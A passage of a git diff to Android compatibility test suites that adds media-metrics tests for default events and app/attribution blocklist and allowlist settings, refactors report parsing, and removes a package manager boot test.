+                new TrackChangeEvent.Builder(TrackChangeEvent.TRACK_TYPE_AUDIO).build();
+        s.reportTrackChangeEvent(e);
+        resetProperties();
     }
 
     @Test
     public void testTrackChangeEvent_text() throws Exception {
+        turnOnForTesting();
         Context context = InstrumentationRegistry.getContext();
         MediaMetricsManager manager = context.getSystemService(MediaMetricsManager.class);
         PlaybackSession s = manager.createPlaybackSession();
@@ -88,10 +174,12 @@
                         .setLanguageRegion("US")
                         .build();
         s.reportTrackChangeEvent(e);
+        resetProperties();
     }
 
     @Test
     public void testTrackChangeEvent_audio() throws Exception {
+        turnOnForTesting();
         Context context = InstrumentationRegistry.getContext();
         MediaMetricsManager manager = context.getSystemService(MediaMetricsManager.class);
         PlaybackSession s = manager.createPlaybackSession();
@@ -110,10 +198,12 @@
                         .setChannelCount(3)
                         .build();
         s.reportTrackChangeEvent(e);
+        resetProperties();
     }
 
     @Test
     public void testTrackChangeEvent_video() throws Exception {
+        turnOnForTesting();
         Context context = InstrumentationRegistry.getContext();
         MediaMetricsManager manager = context.getSystemService(MediaMetricsManager.class);
         PlaybackSession s = manager.createPlaybackSession();
@@ -134,10 +224,24 @@
                         .setMetricsBundle(new Bundle())
                         .build();
         s.reportTrackChangeEvent(e);
+        resetProperties();
+    }
+
+    @Test
+    public void testNetworkEvent_default() throws Exception {
+        turnOnForTesting();
+        Context context = InstrumentationRegistry.getContext();
+        MediaMetricsManager manager = context.getSystemService(MediaMetricsManager.class);
+        PlaybackSession s = manager.createPlaybackSession();
+        NetworkEvent e =
+                new NetworkEvent.Builder().build();
+        s.reportNetworkEvent(e);
+        resetProperties();
     }
 
     @Test
     public void testNetworkEvent() throws Exception {
+        turnOnForTesting();
         Context context = InstrumentationRegistry.getContext();
         MediaMetricsManager manager = context.getSystemService(MediaMetricsManager.class);
         PlaybackSession s = manager.createPlaybackSession();
@@ -148,10 +252,24 @@
                         .setMetricsBundle(new Bundle())
                         .build();
         s.reportNetworkEvent(e);
+        resetProperties();
+    }
+
+    @Test
+    public void testPlaybackMetrics_default() throws Exception {
+        turnOnForTesting();
+        Context context = InstrumentationRegistry.getContext();
+        MediaMetricsManager manager = context.getSystemService(MediaMetricsManager.class);
+        PlaybackSession s = manager.createPlaybackSession();
+        PlaybackMetrics e =
+                new PlaybackMetrics.Builder().build();
+        s.reportPlaybackMetrics(e);
+        resetProperties();
     }
 
     @Test
     public void testPlaybackMetrics() throws Exception {
+        turnOnForTesting();
         Context context = InstrumentationRegistry.getContext();
         MediaMetricsManager manager = context.getSystemService(MediaMetricsManager.class);
         PlaybackSession s = manager.createPlaybackSession();
@@ -176,6 +294,7 @@
                         .addExperimentId(123)
                         .build();
         s.reportPlaybackMetrics(e);
+        resetProperties();
     }
 
     @Test
@@ -203,6 +322,130 @@
         }
     }
 
+    @Test
+    public void testAppBlocklist() throws Exception {
+        SystemUtil.runWithShellPermissionIdentity(() -> {
+            DeviceConfig.setProperties(
+                    new DeviceConfig.Properties.Builder(DeviceConfig.NAMESPACE_MEDIA)
+                            .setString(MEDIA_METRICS_MODE, MEDIA_METRICS_MODE_BLOCKLIST)
+                            .setString(PLAYER_METRICS_PER_APP_ATTRIBUTION_BLOCKLIST, "")
+                            .setString(PLAYER_METRICS_APP_BLOCKLIST, TEST_PKG)
+                            .build());
+        });
+        Thread.sleep(DEVICE_PROPERTY_PROPAGATION_DELAY_MICROSECONDS);
+        Context context = InstrumentationRegistry.getContext();
+        MediaMetricsManager manager = context.getSystemService(MediaMetricsManager.class);
+        PlaybackSession s = manager.createPlaybackSession();
+        PlaybackStateEvent e =
+                new PlaybackStateEvent.Builder()
+                        .setTimeSinceCreatedMillis(1763L)
+                        .setState(PlaybackStateEvent.STATE_JOINING_FOREGROUND)
+                        .setMetricsBundle(new Bundle())
+                        .build();
+        s.reportPlaybackStateEvent(e);
+        resetProperties();
+    }
+
+    @Test
+    public void testAttributionBlocklist() throws Exception {
+        SystemUtil.runWithShellPermissionIdentity(() -> {
+            DeviceConfig.setProperties(
+                    new DeviceConfig.Properties.Builder(DeviceConfig.NAMESPACE_MEDIA)
+                            .setString(MEDIA_METRICS_MODE, MEDIA_METRICS_MODE_BLOCKLIST)
+                            .setString(PLAYER_METRICS_PER_APP_ATTRIBUTION_BLOCKLIST, TEST_PKG)
+                            .setString(PLAYER_METRICS_APP_BLOCKLIST, "")
+                            .build());
+        });
+        Thread.sleep(DEVICE_PROPERTY_PROPAGATION_DELAY_MICROSECONDS);
+        Context context = InstrumentationRegistry.getContext();
+        MediaMetricsManager manager = context.getSystemService(MediaMetricsManager.class);
+        PlaybackSession s = manager.createPlaybackSession();
+        PlaybackMetrics e =
+                new PlaybackMetrics.Builder()
+                        .setMediaDurationMillis(233L)
+                        .setStreamSource(PlaybackMetrics.STREAM_SOURCE_NETWORK)
+                        .setStreamType(PlaybackMetrics.STREAM_TYPE_OTHER)
+                        .setPlaybackType(PlaybackMetrics.PLAYBACK_TYPE_LIVE)
+                        .setDrmType(PlaybackMetrics.DRM_TYPE_WIDEVINE_L1)
+                        .setContentType(PlaybackMetrics.CONTENT_TYPE_MAIN)
+                        .setPlayerName("ExoPlayer")
+                        .setPlayerVersion("1.01x")
+                        .setVideoFramesPlayed(1024)
+                        .setVideoFramesDropped(32)
+                        .setAudioUnderrunCount(22)
+                        .setNetworkBytesRead(102400)
+                        .setLocalBytesRead(2000)
+                        .setNetworkTransferDurationMillis(6000)
+                        .setDrmSessionId(new byte[] {2, 3, 3, 10})
+                        .setMetricsBundle(new Bundle())
+                        .addExperimentId(123)
+                        .build();
+        s.reportPlaybackMetrics(e);
+        resetProperties();
+    }
+
+    @Test
+    public void testAppAllowlist() throws Exception {
+        SystemUtil.runWithShellPermissionIdentity(() -> {
+            DeviceConfig.setProperties(
+                    new DeviceConfig.Properties.Builder(DeviceConfig.NAMESPACE_MEDIA)
+                            .setString(MEDIA_METRICS_MODE, MEDIA_METRICS_MODE_ALLOWLIST)
+                            .setString(PLAYER_METRICS_PER_APP_ATTRIBUTION_ALLOWLIST, "")
+                            .setString(PLAYER_METRICS_APP_ALLOWLIST, TEST_PKG)
+                            .build());
+        });
+        Thread.sleep(DEVICE_PROPERTY_PROPAGATION_DELAY_MICROSECONDS);
+        Context context = InstrumentationRegistry.getContext();
+        MediaMetricsManager manager = context.getSystemService(MediaMetricsManager.class);
+        PlaybackSession s = manager.createPlaybackSession();
+        PlaybackStateEvent e =
+                new PlaybackStateEvent.Builder()
+                        .setTimeSinceCreatedMillis(1763L)
+                        .setState(PlaybackStateEvent.STATE_JOINING_FOREGROUND)
+                        .setMetricsBundle(new Bundle())
+                        .build();
+        s.reportPlaybackStateEvent(e);
+        resetProperties();
+    }
+
+    @Test
+    public void testAttributionAllowlist() throws Exception {
+        SystemUtil.runWithShellPermissionIdentity(() -> {
+            DeviceConfig.setProperties(
+                    new DeviceConfig.Properties.Builder(DeviceConfig.NAMESPACE_MEDIA)
+                            .setString(MEDIA_METRICS_MODE, MEDIA_METRICS_MODE_ALLOWLIST)
+                            .setString(PLAYER_METRICS_PER_APP_ATTRIBUTION_ALLOWLIST, TEST_PKG)
+                            .setString(PLAYER_METRICS_APP_ALLOWLIST, "")
+                            .build());
+        });
+        Thread.sleep(DEVICE_PROPERTY_PROPAGATION_DELAY_MICROSECONDS);
+        Context context = InstrumentationRegistry.getContext();
+        MediaMetricsManager manager = context.getSystemService(MediaMetricsManager.class);
+        PlaybackSession s = manager.createPlaybackSession();
+        PlaybackMetrics e =
+                new PlaybackMetrics.Builder()
+                        .setMediaDurationMillis(233L)
+                        .setStreamSource(PlaybackMetrics.STREAM_SOURCE_NETWORK)
+                        .setStreamType(PlaybackMetrics.STREAM_TYPE_OTHER)
+                        .setPlaybackType(PlaybackMetrics.PLAYBACK_TYPE_LIVE)
+                        .setDrmType(PlaybackMetrics.DRM_TYPE_WIDEVINE_L1)
+                        .setContentType(PlaybackMetrics.CONTENT_TYPE_MAIN)
+                        .setPlayerName("ExoPlayer")
+                        .setPlayerVersion("1.01x")
+                        .setVideoFramesPlayed(1024)
+                        .setVideoFramesDropped(32)
+                        .setAudioUnderrunCount(22)
+                        .setNetworkBytesRead(102400)
+                        .setLocalBytesRead(2000)
+                        .setNetworkTransferDurationMillis(6000)
+                        .setDrmSessionId(new byte[] {2, 3, 3, 10})
+                        .setMetricsBundle(new Bundle())
+                        .addExperimentId(123)
+                        .build();
+        s.reportPlaybackMetrics(e);
+        resetProperties();
+    }
+
     /**
      * Open aaudio mmap output stream and then close
      */
diff --git a/hostsidetests/media/src/android/media/cts/MediaExtractorHostSideTest.java b/hostsidetests/media/src/android/media/cts/MediaExtractorHostSideTest.java
index 7dc17f4..c0240dd 100644
--- a/hostsidetests/media/src/android/media/cts/MediaExtractorHostSideTest.java
+++ b/hostsidetests/media/src/android/media/cts/MediaExtractorHostSideTest.java
@@ -17,6 +17,7 @@
 
 import static com.google.common.truth.Truth.assertThat;
 
+import android.cts.statsdatom.lib.ReportUtils;
 import android.stats.mediametrics_message.MediametricsMessage;
 
 import com.android.internal.os.StatsdConfigProto;
@@ -162,12 +163,7 @@
     private MediametricsMessage.ExtractorData getMediaExtractorReportedData() throws Exception {
         ConfigMetricsReportList reportList = getAndClearReportList();
         assertThat(reportList.getReportsCount()).isEqualTo(1);
-        StatsLog.ConfigMetricsReport report = reportList.getReports(0);
-        ArrayList<StatsLog.EventMetricData> data = new ArrayList<>();
-        report.getMetricsList()
-                .forEach(
-                        statsLogReport ->
-                                data.addAll(statsLogReport.getEventMetrics().getDataList()));
+        List<StatsLog.EventMetricData> data = ReportUtils.getEventMetricDataList(reportList);
         List<AtomsProto.MediametricsExtractorReported> mediametricsExtractorReported =
                 data.stream()
                         .map(element -> element.getAtom().getMediametricsExtractorReported())
diff --git a/hostsidetests/media/src/android/media/metrics/cts/MediaMetricsAtomTests.java b/hostsidetests/media/src/android/media/metrics/cts/MediaMetricsAtomTests.java
index 9e12ed6..651abcc 100644
--- a/hostsidetests/media/src/android/media/metrics/cts/MediaMetricsAtomTests.java
+++ b/hostsidetests/media/src/android/media/metrics/cts/MediaMetricsAtomTests.java
@@ -67,6 +67,26 @@
         mCtsBuild = buildInfo;
     }
 
+    public void testPlaybackStateEvent_default() throws Exception {
+        ConfigUtils.uploadConfigForPushedAtom(getDevice(), TEST_PKG,
+                AtomsProto.Atom.MEDIA_PLAYBACK_STATE_CHANGED_FIELD_NUMBER);
+        DeviceUtils.runDeviceTests(
+                getDevice(),
+                TEST_PKG,
+                "android.media.metrics.cts.MediaMetricsAtomHostSideTests",
+                "testPlaybackStateEvent_default");
+        Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
+
+        List<StatsLog.EventMetricData> data = ReportUtils.getEventMetricDataList(getDevice());
+
+        assertThat(data.size()).isEqualTo(1);
+        assertThat(data.get(0).getAtom().hasMediaPlaybackStateChanged()).isTrue();
+        AtomsProto.MediaPlaybackStateChanged result =
+                data.get(0).getAtom().getMediaPlaybackStateChanged();
+        assertThat(result.getPlaybackState().toString()).isEqualTo("NOT_STARTED");
+        assertThat(result.getTimeSincePlaybackCreatedMillis()).isEqualTo(-1L);
+    }
+
     public void testPlaybackStateEvent() throws Exception {
         ConfigUtils.uploadConfigForPushedAtom(getDevice(), TEST_PKG,
                 AtomsProto.Atom.MEDIA_PLAYBACK_STATE_CHANGED_FIELD_NUMBER);
@@ -87,6 +107,31 @@
         assertThat(result.getTimeSincePlaybackCreatedMillis()).isEqualTo(1763L);
     }
 
+    public void testPlaybackErrorEvent_default() throws Exception {
+        ConfigUtils.uploadConfigForPushedAtom(getDevice(), TEST_PKG,
+                AtomsProto.Atom.MEDIA_PLAYBACK_ERROR_REPORTED_FIELD_NUMBER);
+        DeviceUtils.runDeviceTests(
+                getDevice(),
+                TEST_PKG,
+                "android.media.metrics.cts.MediaMetricsAtomHostSideTests",
+                "testPlaybackErrorEvent_default");
+        Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
+
+        List<StatsLog.EventMetricData> data = ReportUtils.getEventMetricDataList(getDevice());
+
+        assertThat(data.size()).isEqualTo(1);
+        assertThat(data.get(0).getAtom().hasMediaPlaybackErrorReported()).isTrue();
+        AtomsProto.MediaPlaybackErrorReported result =
+                data.get(0).getAtom().getMediaPlaybackErrorReported();
+
+        assertThat(result.getTimeSincePlaybackCreatedMillis()).isEqualTo(-1L);
+        assertThat(result.getErrorCode().toString()).isEqualTo("ERROR_CODE_UNKNOWN");
+        assertThat(result.getSubErrorCode()).isEqualTo(0);
+        assertThat(result.getExceptionStack().startsWith(
+                "android.media.metrics.cts.MediaMetricsAtomHostSideTests.testPlaybackErrorEvent"))
+                        .isTrue();
+    }
+
     public void testPlaybackErrorEvent() throws Exception {
         ConfigUtils.uploadConfigForPushedAtom(getDevice(), TEST_PKG,
                 AtomsProto.Atom.MEDIA_PLAYBACK_ERROR_REPORTED_FIELD_NUMBER);
@@ -112,6 +157,37 @@
                         .isTrue();
     }
 
+    public void testTrackChangeEvent_default() throws Exception {
+        ConfigUtils.uploadConfigForPushedAtom(getDevice(), TEST_PKG,
+                AtomsProto.Atom.MEDIA_PLAYBACK_TRACK_CHANGED_FIELD_NUMBER);
+        DeviceUtils.runDeviceTests(
+                getDevice(),
+                TEST_PKG,
+                "android.media.metrics.cts.MediaMetricsAtomHostSideTests",
+                "testTrackChangeEvent_default");
+        Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
+
+        List<StatsLog.EventMetricData> data = ReportUtils.getEventMetricDataList(getDevice());
+
+        assertThat(data.size()).isEqualTo(1);
+        assertThat(data.get(0).getAtom().hasMediaPlaybackTrackChanged()).isTrue();
+        AtomsProto.MediaPlaybackTrackChanged result =
+                data.get(0).getAtom().getMediaPlaybackTrackChanged();
+
+        assertThat(result.getTimeSincePlaybackCreatedMillis()).isEqualTo(-1L);
+        assertThat(result.getState().toString()).isEqualTo("OFF");
+        assertThat(result.getReason().toString()).isEqualTo("REASON_UNKNOWN");
+        assertThat(result.getContainerMimeType()).isEqualTo("");
+        assertThat(result.getSampleMimeType()).isEqualTo("");
+        assertThat(result.getCodecName()).isEqualTo("");
+        assertThat(result.getBitrate()).isEqualTo(-1);
+        assertThat(result.getType().toString()).isEqualTo("AUDIO");
+        assertThat(result.getLanguage()).isEqualTo("");
+        assertThat(result.getLanguageRegion()).isEqualTo("");
+        assertThat(result.getSampleRate()).isEqualTo(-1);
+        assertThat(result.getChannelCount()).isEqualTo(-1);
+    }
+
     public void testTrackChangeEvent_text() throws Exception {
         ConfigUtils.uploadConfigForPushedAtom(getDevice(), TEST_PKG,
                 AtomsProto.Atom.MEDIA_PLAYBACK_TRACK_CHANGED_FIELD_NUMBER);
@@ -204,6 +280,27 @@
         assertThat(result.getVideoFrameRate()).isEqualTo(60);
     }
 
+    public void testNetworkEvent_default() throws Exception {
+        ConfigUtils.uploadConfigForPushedAtom(getDevice(), TEST_PKG,
+                AtomsProto.Atom.MEDIA_NETWORK_INFO_CHANGED_FIELD_NUMBER);
+        DeviceUtils.runDeviceTests(
+                getDevice(),
+                TEST_PKG,
+                "android.media.metrics.cts.MediaMetricsAtomHostSideTests",
+                "testNetworkEvent_default");
+        Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
+
+        List<StatsLog.EventMetricData> data = ReportUtils.getEventMetricDataList(getDevice());
+
+        assertThat(data.size()).isEqualTo(1);
+        assertThat(data.get(0).getAtom().hasMediaNetworkInfoChanged()).isTrue();
+        AtomsProto.MediaNetworkInfoChanged result =
+                data.get(0).getAtom().getMediaNetworkInfoChanged();
+
+        assertThat(result.getTimeSincePlaybackCreatedMillis()).isEqualTo(-1L);
+        assertThat(result.getType().toString()).isEqualTo("NETWORK_TYPE_UNKNOWN");
+    }
+
     public void testNetworkEvent() throws Exception {
         ConfigUtils.uploadConfigForPushedAtom(getDevice(), TEST_PKG,
                 AtomsProto.Atom.MEDIA_NETWORK_INFO_CHANGED_FIELD_NUMBER);
@@ -225,6 +322,43 @@
         assertThat(result.getType().toString()).isEqualTo("NETWORK_TYPE_WIFI");
     }
 
+    public void testPlaybackMetrics_default() throws Exception {
+        ConfigUtils.uploadConfigForPushedAtom(getDevice(), TEST_PKG,
+                AtomsProto.Atom.MEDIAMETRICS_PLAYBACK_REPORTED_FIELD_NUMBER);
+        DeviceUtils.runDeviceTests(
+                getDevice(),
+                TEST_PKG,
+                "android.media.metrics.cts.MediaMetricsAtomHostSideTests",
+                "testPlaybackMetrics_default");
+        Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
+
+        List<StatsLog.EventMetricData> data = ReportUtils.getEventMetricDataList(getDevice());
+        int appUid = DeviceUtils.getAppUid(getDevice(), TEST_PKG);
+
+        assertThat(data.size()).isEqualTo(1);
+        assertThat(data.get(0).getAtom().hasMediametricsPlaybackReported()).isTrue();
+        AtomsProto.MediametricsPlaybackReported result =
+                data.get(0).getAtom().getMediametricsPlaybackReported();
+
+        assertThat(result.getUid()).isEqualTo(appUid);
+        assertThat(result.getMediaDurationMillis()).isEqualTo(-1L);
+        assertThat(result.getStreamSource().toString()).isEqualTo("STREAM_SOURCE_UNKNOWN");
+        assertThat(result.getStreamType().toString()).isEqualTo("STREAM_TYPE_UNKNOWN");
+        assertThat(result.getPlaybackType().toString()).isEqualTo("PLAYBACK_TYPE_UNKNOWN");
+        assertThat(result.getDrmType().toString()).isEqualTo("DRM_TYPE_NONE");
+        assertThat(result.getContentType().toString()).isEqualTo("CONTENT_TYPE_UNKNOWN");
+        assertThat(result.getPlayerName()).isEqualTo("");
+        assertThat(result.getPlayerVersion()).isEqualTo("");
+        assertThat(result.getVideoFramesPlayed()).isEqualTo(-1);
+        assertThat(result.getVideoFramesDropped()).isEqualTo(-1);
+        assertThat(result.getAudioUnderrunCount()).isEqualTo(-1);
+        assertThat(result.getNetworkBytesRead()).isEqualTo(-1);
+        assertThat(result.getLocalBytesRead()).isEqualTo(-1);
+        assertThat(result.getNetworkTransferDurationMillis()).isEqualTo(-1);
+        assertThat(result.getExperimentIds().getExperimentsList().size()).isEqualTo(0);
+        assertThat(result.getDrmSessionId().length()).isEqualTo(0);
+    }
+
     public void testPlaybackMetrics() throws Exception {
         ConfigUtils.uploadConfigForPushedAtom(getDevice(), TEST_PKG,
                 AtomsProto.Atom.MEDIAMETRICS_PLAYBACK_REPORTED_FIELD_NUMBER);
@@ -292,6 +426,109 @@
         assertThat(data.size()).isEqualTo(0);
    }
 
+    public void testAppBlocklist() throws Exception {
+        ConfigUtils.uploadConfigForPushedAtom(getDevice(), TEST_PKG,
+                AtomsProto.Atom.MEDIA_PLAYBACK_STATE_CHANGED_FIELD_NUMBER);
+        DeviceUtils.runDeviceTests(
+                getDevice(),
+                TEST_PKG,
+                "android.media.metrics.cts.MediaMetricsAtomHostSideTests",
+                "testAppBlocklist");
+        Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
+
+        List<StatsLog.EventMetricData> data = ReportUtils.getEventMetricDataList(getDevice());
+
+        assertThat(data.size()).isEqualTo(0);
+    }
+
+    public void testAttributionBlocklist() throws Exception {
+        ConfigUtils.uploadConfigForPushedAtom(getDevice(), TEST_PKG,
+                AtomsProto.Atom.MEDIAMETRICS_PLAYBACK_REPORTED_FIELD_NUMBER);
+        DeviceUtils.runDeviceTests(
+                getDevice(),
+                TEST_PKG,
+                "android.media.metrics.cts.MediaMetricsAtomHostSideTests",
+                "testAttributionBlocklist");
+        Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
+
+        List<StatsLog.EventMetricData> data = ReportUtils.getEventMetricDataList(getDevice());
+
+        assertThat(data.size()).isEqualTo(1);
+        assertThat(data.get(0).getAtom().hasMediametricsPlaybackReported()).isTrue();
+        AtomsProto.MediametricsPlaybackReported result =
+                data.get(0).getAtom().getMediametricsPlaybackReported();
+
+        assertThat(result.getUid()).isEqualTo(0); // UID is not logged. Should be 0.
+        assertThat(result.getMediaDurationMillis()).isEqualTo(233L);
+        assertThat(result.getStreamSource().toString()).isEqualTo("STREAM_SOURCE_NETWORK");
+        assertThat(result.getStreamType().toString()).isEqualTo("STREAM_TYPE_OTHER");
+        assertThat(result.getPlaybackType().toString()).isEqualTo("PLAYBACK_TYPE_LIVE");
+        assertThat(result.getDrmType().toString()).isEqualTo("DRM_TYPE_WV_L1");
+        assertThat(result.getContentType().toString()).isEqualTo("CONTENT_TYPE_MAIN");
+        assertThat(result.getPlayerName()).isEqualTo("ExoPlayer");
+        assertThat(result.getPlayerVersion()).isEqualTo("1.01x");
+        assertThat(result.getVideoFramesPlayed()).isEqualTo(1024);
+        assertThat(result.getVideoFramesDropped()).isEqualTo(32);
+        assertThat(result.getAudioUnderrunCount()).isEqualTo(22);
+        assertThat(result.getNetworkBytesRead()).isEqualTo(102400);
+        assertThat(result.getLocalBytesRead()).isEqualTo(2000);
+        assertThat(result.getNetworkTransferDurationMillis()).isEqualTo(6000);
+    }
+
+    public void testAppAllowlist() throws Exception {
+        ConfigUtils.uploadConfigForPushedAtom(getDevice(), TEST_PKG,
+                AtomsProto.Atom.MEDIA_PLAYBACK_STATE_CHANGED_FIELD_NUMBER);
+        DeviceUtils.runDeviceTests(
+                getDevice(),
+                TEST_PKG,
+                "android.media.metrics.cts.MediaMetricsAtomHostSideTests",
+                "testAppAllowlist");
+        Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
+
+        List<StatsLog.EventMetricData> data = ReportUtils.getEventMetricDataList(getDevice());
+
+        assertThat(data.size()).isEqualTo(1);
+        assertThat(data.get(0).getAtom().hasMediaPlaybackStateChanged()).isTrue();
+        AtomsProto.MediaPlaybackStateChanged result =
+                data.get(0).getAtom().getMediaPlaybackStateChanged();
+        assertThat(result.getPlaybackState().toString()).isEqualTo("JOINING_FOREGROUND");
+        assertThat(result.getTimeSincePlaybackCreatedMillis()).isEqualTo(1763L);
+    }
+
+    public void testAttributionAllowlist() throws Exception {
+        ConfigUtils.uploadConfigForPushedAtom(getDevice(), TEST_PKG,
+                AtomsProto.Atom.MEDIAMETRICS_PLAYBACK_REPORTED_FIELD_NUMBER);
+        DeviceUtils.runDeviceTests(
+                getDevice(),
+                TEST_PKG,
+                "android.media.metrics.cts.MediaMetricsAtomHostSideTests",
+                "testAttributionAllowlist");
+        Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
+
+        List<StatsLog.EventMetricData> data = ReportUtils.getEventMetricDataList(getDevice());
+
+        assertThat(data.size()).isEqualTo(1);
+        assertThat(data.get(0).getAtom().hasMediametricsPlaybackReported()).isTrue();
+        AtomsProto.MediametricsPlaybackReported result =
+                data.get(0).getAtom().getMediametricsPlaybackReported();
+
+        assertThat(result.getUid()).isEqualTo(0); // UID is not logged. Should be 0.
+        assertThat(result.getMediaDurationMillis()).isEqualTo(233L);
+        assertThat(result.getStreamSource().toString()).isEqualTo("STREAM_SOURCE_NETWORK");
+        assertThat(result.getStreamType().toString()).isEqualTo("STREAM_TYPE_OTHER");
+        assertThat(result.getPlaybackType().toString()).isEqualTo("PLAYBACK_TYPE_LIVE");
+        assertThat(result.getDrmType().toString()).isEqualTo("DRM_TYPE_WV_L1");
+        assertThat(result.getContentType().toString()).isEqualTo("CONTENT_TYPE_MAIN");
+        assertThat(result.getPlayerName()).isEqualTo("ExoPlayer");
+        assertThat(result.getPlayerVersion()).isEqualTo("1.01x");
+        assertThat(result.getVideoFramesPlayed()).isEqualTo(1024);
+        assertThat(result.getVideoFramesDropped()).isEqualTo(32);
+        assertThat(result.getAudioUnderrunCount()).isEqualTo(22);
+        assertThat(result.getNetworkBytesRead()).isEqualTo(102400);
+        assertThat(result.getLocalBytesRead()).isEqualTo(2000);
+        assertThat(result.getNetworkTransferDurationMillis()).isEqualTo(6000);
+    }
+
     private void validateAAudioStreamAtom(int direction) throws Exception {
         Set<Integer> directionSet = new HashSet<>(Arrays.asList(direction));
         List<Set<Integer>> directionList = Arrays.asList(directionSet);
diff --git a/hostsidetests/mediaparser/Android.bp b/hostsidetests/mediaparser/Android.bp
index 216b1c4..98e8f8f 100644
--- a/hostsidetests/mediaparser/Android.bp
+++ b/hostsidetests/mediaparser/Android.bp
@@ -36,6 +36,7 @@
     ],
     static_libs: [
         "cts-host-utils",
+        "cts-statsd-atom-host-test-utils",
     ],
     data: [
       ":CtsMediaParserTestCasesApp",
diff --git a/hostsidetests/mediaparser/src/android/media/mediaparser/cts/MediaParserHostSideTest.java b/hostsidetests/mediaparser/src/android/media/mediaparser/cts/MediaParserHostSideTest.java
index 1e5c856..50bfa84 100644
--- a/hostsidetests/mediaparser/src/android/media/mediaparser/cts/MediaParserHostSideTest.java
+++ b/hostsidetests/mediaparser/src/android/media/mediaparser/cts/MediaParserHostSideTest.java
@@ -18,6 +18,8 @@
 
 import static com.google.common.truth.Truth.assertThat;
 
+import android.cts.statsdatom.lib.ReportUtils;
+
 import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
 import com.android.ddmlib.testrunner.RemoteAndroidTestRunner;
 import com.android.internal.os.StatsdConfigProto;
@@ -272,16 +274,8 @@
     private List<MediametricsMediaParserReported> getMediaParserReportedEvents() throws Exception {
         ConfigMetricsReportList reportList = getAndClearReportList();
         assertThat(reportList.getReportsCount()).isEqualTo(1);
-        StatsLog.ConfigMetricsReport report = reportList.getReports(0);
-        ArrayList<EventMetricData> data = new ArrayList<>();
-        report.getMetricsList()
-                .forEach(
-                        statsLogReport ->
-                                data.addAll(statsLogReport.getEventMetrics().getDataList()));
-        // We sort the reported events by the elapsed timestamp so as to ensure they are returned
-        // in the same order as they were generated by the CTS tests.
+        List<EventMetricData> data = ReportUtils.getEventMetricDataList(reportList);
         return data.stream()
-                .sorted(Comparator.comparing(EventMetricData::getElapsedTimestampNanos))
                 .map(event -> event.getAtom().getMediametricsMediaparserReported())
                 .collect(Collectors.toList());
     }
diff --git a/hostsidetests/numberblocking/app/AndroidManifest.xml b/hostsidetests/numberblocking/app/AndroidManifest.xml
index a327a34..07ebffc 100755
--- a/hostsidetests/numberblocking/app/AndroidManifest.xml
+++ b/hostsidetests/numberblocking/app/AndroidManifest.xml
@@ -19,6 +19,7 @@
 
     <uses-permission android:name="android.permission.CALL_PHONE"/>
     <uses-permission android:name="android.permission.READ_CALL_LOG"/>
+    <uses-permission android:name="android.permission.READ_PHONE_NUMBERS"/>
     <uses-permission android:name="android.permission.WRITE_CALL_LOG"/>
 
     <application>
diff --git a/hostsidetests/packagemanager/boottest/AndroidTest.xml b/hostsidetests/packagemanager/boottest/AndroidTest.xml
deleted file mode 100644
index 9889a52..0000000
--- a/hostsidetests/packagemanager/boottest/AndroidTest.xml
+++ /dev/null
@@ -1,28 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!--
-  ~ Copyright (C) 2021 The Android Open Source Project
-  ~
-  ~ Licensed under the Apache License, Version 2.0 (the "License");
-  ~ you may not use this file except in compliance with the License.
-  ~ You may obtain a copy of the License at
-  ~
-  ~      http://www.apache.org/licenses/LICENSE-2.0
-  ~
-  ~ Unless required by applicable law or agreed to in writing, software
-  ~ distributed under the License is distributed on an "AS IS" BASIS,
-  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-  ~ See the License for the specific language governing permissions and
-  ~ limitations under the License.
-  -->
-<configuration description="Config for the CTS PackageManager boot tests">
-    <option name="test-suite-tag" value="cts" />
-    <option name="config-descriptor:metadata" key="component" value="framework" />
-    <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
-    <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
-    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
-    <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
-        <option name="jar" value="CtsPackageManagerBootTestCases.jar" />
-        <option name="runtime-hint" value="3m" />
-    </test>
-
-</configuration>
\ No newline at end of file
diff --git a/hostsidetests/packagemanager/boottest/src/android/packagemanager/boot/cts/BootTest.java b/hostsidetests/packagemanager/boottest/src/android/packagemanager/boot/cts/BootTest.java
deleted file mode 100644
index f86f5cf..0000000
--- a/hostsidetests/packagemanager/boottest/src/android/packagemanager/boot/cts/BootTest.java
+++ /dev/null
@@ -1,70 +0,0 @@
-/*
- * Copyright (C) 2021 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.packagemanager.boot.cts;
-
-import com.android.tradefed.device.DeviceNotAvailableException;
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
-
-import org.junit.After;
-import org.junit.Assert;
-import org.junit.Before;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-@RunWith(DeviceJUnit4ClassRunner.class)
-public class BootTest extends BaseHostJUnit4Test {
-    private static final String TEST_APK = "CtsPackageManagerBootTestStubApp.apk";
-    private static final String TEST_PACKAGE = "android.packagemanager.boottest.stub";
-
-    @Before
-    public void setUp() throws Exception {
-        installPackage(TEST_APK);
-    }
-
-    @After
-    public void tearDown() throws Exception {
-        uninstallPackage(getDevice(), TEST_PACKAGE);
-    }
-
-    @Test
-    public void testUninstallPackageWithKeepDataAndReboot() throws Exception {
-        Assert.assertTrue(isPackageInstalled(TEST_PACKAGE));
-        uninstallPackageWithKeepData(TEST_PACKAGE);
-        getDevice().rebootUntilOnline();
-        waitForBootCompleted();
-    }
-
